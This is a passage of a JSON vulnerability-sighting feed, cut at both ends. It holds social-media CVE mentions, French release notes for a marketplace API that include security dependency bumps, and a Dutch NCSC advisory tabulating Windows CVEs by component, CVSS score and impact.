"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48913", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnu7hq6yhy25", "content": "\ud83d\udd17 CVE : CVE-2026-29167, CVE-2026-29170, CVE-2026-34355, CVE-2026-34356, CVE-2026-42535, CVE-2026-42536, CVE-2026-43951, CVE-2026-44119, CVE-2026-44185, CVE-2026-44186, CVE-2026-44631, CVE-2026-48913, CVE-2026-49975", "creation_timestamp": "2026-06-09T12:35:10.144061Z"}, {"uuid": "116bdcd2-042d-471d-ab37-01bc418b6945", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mnudo42xep2l", "content": "Critical Security Advisory LiteLLM Remote Code Execution CVE-2026-42271 and CVE-2026-48710 Threat Intelligence Alert #appsec", "creation_timestamp": "2026-06-09T13:50:16.668604Z"}, {"uuid": "ce807fa9-c1f1-4a6c-99b6-29d1c23c00b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/b47f545e1c1a5eced91cb019079934b4", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4092\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83e\udd73Testing**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [rapport d'erreur : Afficher le nom de l\u2019option au lieu de l\u2019ID](https://trello.com/c/DV326eEx/2331-rapport-derreur-afficher-le-nom-de-loption-au-lieu-de-lid) **\ud83e\udd73Testing**\n        - *Rework error logs to show attribute name instead of id to be easier t\u2026* [\\#7355](https://github.com/Wishibam/Marketplace-api/pull/7355)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [Import XML et memory](https://trello.com/c/9xNKSWlG/2248-import-xml-et-memory) **\ud83d\ude80Testing BACK / FLUX**\n        - *fix(importer): xml stream* [\\#7393](https://github.com/Wishibam/Marketplace-api/pull/7393)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83e\udd73Testing**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n        - *feat(picking): add coupon code filter on order list* [\\#7504](https://github.com/Wishibam/Marketplace-api/pull/7504)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd75 Retour de test**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [TVO - PACKING - Permettre de contourner le packing via bordereau en mettant un N\u00b0 de suivi directement.](https://trello.com/c/DqXF2jwa/2375-tvo-packing-permettre-de-contourner-le-packing-via-bordereau-en-mettant-un-n-de-suivi-directement) **\ud83e\udd73Testing**\n        - *:sparkles: WMS Packing add manual entry for trackingNumber* [\\#7459](https://github.com/Wishibam/Marketplace-api/pull/7459)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n        - *fix(tvo): adapt sync-stock-alerts to camelCase API response and add since filter* [\\#7534](https://github.com/Wishibam/Marketplace-api/pull/7534)\n        - *fix(command): stock alert find variation by eshopId and organization* [\\#7539](https://github.com/Wishibam/Marketplace-api/pull/7539)\n    - [Modification de prix - remboursement](https://trello.com/c/rn8oOmwC/2385-modification-de-prix-remboursement) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *Set priceChange on retailer instead of on organization* [\\#7496](https://github.com/Wishibam/Marketplace-api/pull/7496)\n    - [FEAT-0010 \u2014 Num\u00e9ro de ticket de caisse pour boutiques (TVO)](https://trello.com/c/VJAm3Q9E/2343-feat-0010-num%C3%A9ro-de-ticket-de-caisse-pour-boutiques-tvo) **\u2600\ufe0fIn review**\n        - *Add retailer receipt on order, and add it to search* [\\#7505](https://github.com/Wishibam/Marketplace-api/pull/7505)\n    - [WMS Vue \"SCAN\" (LOGS) - Mobile & Desktop](https://trello.com/c/AHZcgIoE/2252-wms-vue-scan-logs-mobile-desktop) **\ud83e\udd73Testing**\n        - *:sparkles: Add WMS logs view* [\\#7521](https://github.com/Wishibam/Marketplace-api/pull/7521)\n    - [FEAT-0007-02 \u2014 Nouveau template de facture PDF](https://trello.com/c/n8qXmV8Y/2339-feat-0007-02-nouveau-template-de-facture-pdf) **\ud83e\udd75 Retour de test**\n        - *Fix recette for invoice rework* [\\#7524](https://github.com/Wishibam/Marketplace-api/pull/7524)\n        - *Fix some issues with invoice generation* [\\#7532](https://github.com/Wishibam/Marketplace-api/pull/7532)\n    - [\ud83d\ude9a WMS \u00b7 Afficher le transporteur dans la pop-up de tri](https://trello.com/c/YDOgjgEO/2390-%F0%9F%9A%9A-wms-afficher-le-transporteur-dans-la-pop-up-de-tri) **\ud83e\udd73Testing**\n        - *:sparkles: WMS Sorting add carrier name and icon to scan popup* [\\#7535](https://github.com/Wishibam/Marketplace-api/pull/7535)\n \n- **Misc**\n    - *fix(dac7): divide Stripe amounts by 100 and fix exclusion threshold* [\\#7408](https://github.com/Wishibam/Marketplace-api/pull/7408)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)\n    - *:sparkles: feat: store all media objects on Scaleway* [\\#7511](https://github.com/Wishibam/Marketplace-api/pull/7511)\n    - *Fix issue with shipment invoice documents* [\\#7522](https://github.com/Wishibam/Marketplace-api/pull/7522)\n    - *fix(deploy): phpstan xml importer error* [\\#7523](https://github.com/Wishibam/Marketplace-api/pull/7523)\n    - *:bug: fix: call ImageKit only once when resizing images* [\\#7525](https://github.com/Wishibam/Marketplace-api/pull/7525)\n    - *:bug: Fix DomainEventDispatcherInterface missing on DomainModel entities* [\\#7527](https://github.com/Wishibam/Marketplace-api/pull/7527)\n    - *:recycle: refactor: store imported images under medias/<org>/<type>/* [\\#7530](https://github.com/Wishibam/Marketplace-api/pull/7530)\n    - *:sparkles: feat: isolate Behat media uploads under medias/behat/* [\\#7531](https://github.com/Wishibam/Marketplace-api/pull/7531)\n    - *:sparkles: feat: strip invisible characters from expert mode expressions* [\\#7533](https://github.com/Wishibam/Marketplace-api/pull/7533)\n    - *feat(invoice): add section pictograms (client, commande, vendeur)* [\\#7536](https://github.com/Wishibam/Marketplace-api/pull/7536)\n    - *:wrench: chore: cross-link release PRs api <> client* [\\#7541](https://github.com/Wishibam/Marketplace-api/pull/7541)\n \n- **D\u00e9j\u00e0 en production**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *fix(validator): increase max variation constraint limit* [\\#7526](https://github.com/Wishibam/Marketplace-api/pull/7526)\n\n## POST MEP\n$\\n**[PR #7534](https://github.com/Wishibam/Marketplace-api/pull/7534) \u2014 fix(tvo): adapt sync-stock-alerts to camelCase API response and add since filter**$\\n\\nAjout de la commande dans un cron$\\n\n", "creation_timestamp": "2026-06-09T14:08:41.000000Z"}, {"uuid": "f07c956f-2ea8-4761-9b9b-d6d89b10ae4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48563", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 